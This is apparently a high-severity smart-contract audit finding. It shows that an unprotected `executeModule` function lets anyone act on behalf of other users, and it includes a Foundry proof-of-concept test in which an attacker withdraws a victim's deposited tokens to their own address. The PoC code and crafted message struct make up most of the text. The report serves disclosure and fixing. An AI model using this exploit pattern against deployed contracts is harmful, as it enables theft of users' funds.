Unprotected `executeModule` function allows to steal the tokens
The `executeModule` function allows anyone to execute any module with any params. That allows attacker to execute operations on behalf of other users.\\nHere is the `executeModule` function:\\nAll its parameters are controlled by the caller and anyone can be the caller. Anyone can execute any module on behalf of any user.\\nLet's try to steal someone's tokens using `UsdoMarketReceiver` module and `removeAssetReceiver` function (below is the PoC).\\nHere is the code that will call the `executeModule` function:\\n```\\nbUsdo.executeModule(\\n    IUsdo.Module.UsdoMarketReceiver, \\n    abi.encodeWithSelector(\\n        UsdoMarketReceiverModule.removeAssetReceiver.selector, \\n        marketMsg_), \\n    false);\\n```\\n\\nThe important value here is the `marketMsg_` parameter. The `removeAssetReceiver` function forwards the call to `exitPositionAndRemoveCollateral` function via magnetar contract.\\nThe `exitPositionAndRemoveCollateral` function removes asset from Singularity market if the `data.removeAndRepayData.removeAssetFromSGL` is `true`. The amount is taken from `data.removeAndRepayData.removeAmount`. Then, if `data.removeAndRepayData.assetWithdrawData.withdraw` is `true`, the `_withdrawToChain` is called.\\nIn `_withdrawToChain`, if the `data.lzSendParams.sendParam.dstEid` is zero, the `_withdrawHere` is called that transfers asset to `data.lzSendParams.sendParam.to`.\\nSumming up, the following `marketMsg_` struct can be used to steal userB's assets from singularity market by `userA`.\\n```\\nMarketRemoveAssetMsg({\\n    user: address(userB),//victim\\n    externalData: ICommonExternalContracts({\\n        magnetar: address(magnetar),\\n        singularity: address(singularity),\\n        bigBang: address(0),\\n        marketHelper: address(marketHelper)\\n    }),\\n    removeAndRepayData: IRemoveAndRepay({\\n        removeAssetFromSGL: true,//remove from Singularity market\\n        removeAmount: tokenAmountSD,//amount to remove\\n        repayAssetOnBB: false,\\n        repayAmount: 0,\\n        removeCollateralFromBB: false,\\n        collateralAmount: 0,\\n        exitData: IOptionsExitData({exit: false, target: address(0), oTAPTokenID: 0}),\\n        unlockData: IOptionsUnlockData({unlock: false, target: address(0), tokenId: 0}),\\n        assetWithdrawData: MagnetarWithdrawData({\\n            withdraw: true,//withdraw assets\\n            yieldBox: address(yieldBox), //where from to withdraw\\n            assetId: bUsdoYieldBoxId, //what asset to withdraw\\n            unwrap: false,\\n            lzSendParams: LZSendParam({\\n                refundAddress: address(userB),\\n                fee: MessagingFee({lzTokenFee: 0, nativeFee: 0}),\\n                extraOptions: "0x",\\n                sendParam: SendParam({\\n                    amountLD: 0,\\n                    composeMsg: "0x",\\n                    dstEid: 0,\\n                    extraOptions: "0x",\\n                    minAmountLD: 0,\\n                    oftCmd: "0x",\\n                    to: OFTMsgCodec.addressToBytes32(address(userA)) // recipient of the assets\\n                })\\n            }),\\n            sendGas: 0,\\n            composeGas: 0,\\n            sendVal: 0,\\n            composeVal: 0,\\n            composeMsg: "0x",\\n            composeMsgType: 0\\n        }),\\n        collateralWithdrawData: MagnetarWithdrawData({\\n            withdraw: false,\\n            yieldBox: address(0),\\n            assetId: 0,\\n            unwrap: false,\\n            lzSendParams: LZSendParam({\\n                refundAddress: address(userB),\\n                fee: MessagingFee({lzTokenFee: 0, nativeFee: 0}),\\n                extraOptions: "0x",\\n                sendParam: SendParam({\\n                    amountLD: 0,\\n                    composeMsg: "0x",\\n                    dstEid: 0,\\n                    extraOptions: "0x",\\n                    minAmountLD: 0,\\n                    oftCmd: "0x",\\n                    to: OFTMsgCodec.addressToBytes32(address(userB))\\n                })\\n            }),\\n            sendGas: 0,\\n            composeGas: 0,\\n            sendVal: 0,\\n            composeVal: 0,\\n            composeMsg: "0x",\\n            composeMsgType: 0\\n        })\\n    })\\n});\\n```\\n\\nHere is the modified version of the `test_market_remove_asset` test that achieves the same result, but with unauthorized call to `executeModule` function. The `userA` is the attacker, and `userB` is the victim.\\n```\\n    function test_malicious_market_remove_asset() public {\\n        uint256 erc20Amount_ = 1 ether;\\n\\n        // setup\\n        {\\n            deal(address(bUsdo), address(userB), erc20Amount_);\\n\\n            vm.startPrank(userB);\\n            bUsdo.approve(address(yieldBox), type(uint256).max);\\n            yieldBox.depositAsset(bUsdoYieldBoxId, address(userB), address(userB), erc20Amount_, 0);\\n\\n            uint256 sh = yieldBox.toShare(bUsdoYieldBoxId, erc20Amount_, false);\\n            yieldBox.setApprovalForAll(address(pearlmit), true);\\n            pearlmit.approve(\\n                address(yieldBox), bUsdoYieldBoxId, address(singularity), uint200(sh), uint48(block.timestamp + 1)\\n            );\\n            singularity.addAsset(address(userB), address(userB), false, sh);\\n            vm.stopPrank();\\n        }\\n\\n        uint256 tokenAmount_ = 0.5 ether;\\n\\n        /**\\n         * Actions\\n         */\\n        uint256 tokenAmountSD = usdoHelper.toSD(tokenAmount_, aUsdo.decimalConversionRate());\\n\\n        //approve magnetar\\n        vm.startPrank(userB);\\n        bUsdo.approve(address(magnetar), type(uint256).max);\\n        singularity.approve(address(magnetar), type(uint256).max);\\n        vm.stopPrank();\\n        \\n        MarketRemoveAssetMsg memory marketMsg = MarketRemoveAssetMsg({\\n            user: address(userB),\\n            externalData: ICommonExternalContracts({\\n                magnetar: address(magnetar),\\n                singularity: address(singularity),\\n                bigBang: address(0),\\n                marketHelper: address(marketHelper)\\n            }),\\n            removeAndRepayData: IRemoveAndRepay({\\n                removeAssetFromSGL: true,\\n                removeAmount: tokenAmountSD,\\n                repayAssetOnBB: false,\\n                repayAmount: 0,\\n                removeCollateralFromBB: false,\\n                collateralAmount: 0,\\n                exitData: IOptionsExitData({exit: false, target: address(0), oTAPTokenID: 0}),\\n                unlockData: IOptionsUnlockData({unlock: false, target: address(0), tokenId: 0}),\\n                assetWithdrawData: MagnetarWithdrawData({\\n                    withdraw: true,\\n                    yieldBox: address(yieldBox),\\n                    assetId: bUsdoYieldBoxId,\\n                    unwrap: false,\\n                    lzSendParams: LZSendParam({\\n                        refundAddress: address(userB),\\n                        fee: MessagingFee({lzTokenFee: 0, nativeFee: 0}),\\n                        extraOptions: "0x",\\n                        sendParam: SendParam({\\n                            amountLD: 0,\\n                            composeMsg: "0x",\\n                            dstEid: 0,\\n                            extraOptions: "0x",\\n                            minAmountLD: 0,\\n                            oftCmd: "0x",\\n                            to: OFTMsgCodec.addressToBytes32(address(userA)) // transfer to attacker\\n                        })\\n                    }),\\n                    sendGas: 0,\\n                    composeGas: 0,\\n                    sendVal: 0,\\n                    composeVal: 0,\\n                    composeMsg: "0x",\\n                    composeMsgType: 0\\n                }),\\n                collateralWithdrawData: MagnetarWithdrawData({\\n                    withdraw: false,\\n                    yieldBox: address(0),\\n                    assetId: 0,\\n                    unwrap: false,\\n                    lzSendParams: LZSendParam({\\n                        refundAddress: address(userB),\\n                        fee: MessagingFee({lzTokenFee: 0, nativeFee: 0}),\\n                        extraOptions: "0x",\\n                        sendParam: SendParam({\\n                            amountLD: 0,\\n                            composeMsg: "0x",\\n                            dstEid: 0,\\n                            extraOptions: "0x",\\n                            minAmountLD: 0,\\n                            oftCmd: "0x",\\n                            to: OFTMsgCodec.addressToBytes32(address(userB))\\n                        })\\n                    }),\\n                    sendGas: 0,\\n                    composeGas: 0,\\n                    sendVal: 0,\\n                    composeVal: 0,\\n                    composeMsg: "0x",\\n                    composeMsgType: 0\\n                })\\n            })\\n        });\\n        bytes memory marketMsg_ = usdoHelper.buildMarketRemoveAssetMsg(marketMsg);\\n\\n\\n        // I added _checkSender in MagnetarMock (function exitPositionAndRemoveCollateral) so need to whitelist USDO\\n        cluster.updateContract(aEid, address(bUsdo), true);\\n\\n        // ----- ADDED THIS ------>\\n        // Attack using executeModule\\n        // ------------------------\\n        vm.startPrank(userA);\\n        bUsdo.executeModule(\\n            IUsdo.Module.UsdoMarketReceiver, \\n            abi.encodeWithSelector(\\n                UsdoMarketReceiverModule.removeAssetReceiver.selector, \\n                marketMsg_), \\n            false);\\n        // ------------------------\\n\\n        // Check execution\\n        {\\n            assertEq(bUsdo.balanceOf(address(userB)), 0);\\n            assertEq(\\n                yieldBox.toAmount(bUsdoYieldBoxId, yieldBox.balanceOf(address(userB), bUsdoYieldBoxId), false),\\n                0\\n            );\\n            assertEq(bUsdo.balanceOf(address(userA)), tokenAmount_);\\n        }\\n    }\\n```\\n\\nNote: The `burst` function was modified in the MagnetarMock contract and add call to `_checkSender` function to reproduce the real situation.\\nThat is also why the `bUsdo` has been whitelisted in the test.
The `executeModule` function should inspect and validate the `_data` parameter to make sure that the caller is the same address as the user who executes the operations.
HIGH - Anyone can steal others' tokens from their markets.
```\\nbUsdo.executeModule(\\n    IUsdo.Module.UsdoMarketReceiver, \\n    abi.encodeWithSelector(\\n        UsdoMarketReceiverModule.removeAssetReceiver.selector, \\n        marketMsg_), \\n    false);\\n```\\n